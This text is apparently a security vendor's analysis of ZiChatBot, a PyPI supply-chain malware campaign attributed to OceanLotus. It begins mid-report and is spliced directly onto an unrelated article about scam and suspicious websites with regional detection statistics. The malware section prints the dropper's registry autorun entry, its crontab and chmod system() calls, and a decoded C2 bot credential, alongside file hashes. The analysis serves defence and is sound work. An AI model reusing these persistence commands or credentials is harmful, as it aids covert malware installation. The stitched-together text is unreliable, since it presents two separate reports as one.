During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

1. Deploy ZiChatBot.
2. Establish an auto-run mechanism.
3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token: TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw== // Decoded Auth token [email protected]:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact [email protected].

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

Executive summary

• A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
• Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
• According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
• Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
• Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.

Introduction

The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.

Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.

Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.

The dangers of shady websites

One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.

Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.

Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.

Common types of suspicious sites

Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.

It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.

Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.

Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.

Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.

On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.

How to identify suspicious or fraudulent websites

Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.

Visual and manual clues

You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.

Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.

Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.

Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.

Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.

Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.

However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.

Technical indicators to check

Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.

One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.

Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.

Meanwhile, a reported suspicious online store was created a couple of months ago.

Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.

In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.

Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.

We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).

Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.

Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:

• Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
• HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
• X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
• X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
• Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.

These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.

You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.

You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.

Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.

You can check the configurations of DNS records either programmatically or by using an online service.

Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.

How to protect yourself Tools and databases for detecting suspicious websites

We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:

• domain name and age,
• IP reputation,
• stability of the infrastructure used,
• DNS configurations,
• HTTP security headers,
• digital identity and popularity of the web resource.

Kaspersky has been certified as a provider of effective protective technology for fake shop detection.

When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:

This component is on by default.

Moreover, there are several online tools and databases that can help assess a website’s legitimacy:

• ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
• APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
• National government databases often maintain official lists of fraudulent or blacklisted domains.

Preventive measures

To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.

You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.

In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.

Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.

If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.

By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.

An overview of detection statistics for sites with an undefined trust level

To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.

Most visited suspicious sites

First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.

In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.

Percentage of the *a*o*.com domain detections by region, January 2026 (download)

This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.

The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.

Percentage of the *n*s*.com domain detections by region, January 2026 (download)

This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.

Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.

Percentage of the *w*a*.com domain detections by region, January 2026 (download)

This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).

The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).

In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).

The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).

The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).

Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).

Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.

Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.

Africa

Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)

The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.

In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.

MENA

Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)

In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.

Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.

The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.

In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.

Latin America

Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)

In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.

Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.

In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.

East Asia

Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)

In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.

In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.

Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.

East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.

South Asia

Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)

In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.

The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.

The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.

In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.

CIS

When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.

Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)

The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.

Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:

• *a*e*.online (8.42%): an online image editor that carries risks of data harvesting
• *n*a*.io (6.51%): a high-risk cryptocurrency trading platform
• *e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
• *s*o*.ltd (3.70%): a domain with an extremely low trust rating
• *s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game

The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.

The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.

Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)

The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.

Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.

Europe

Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)

In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.

Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.

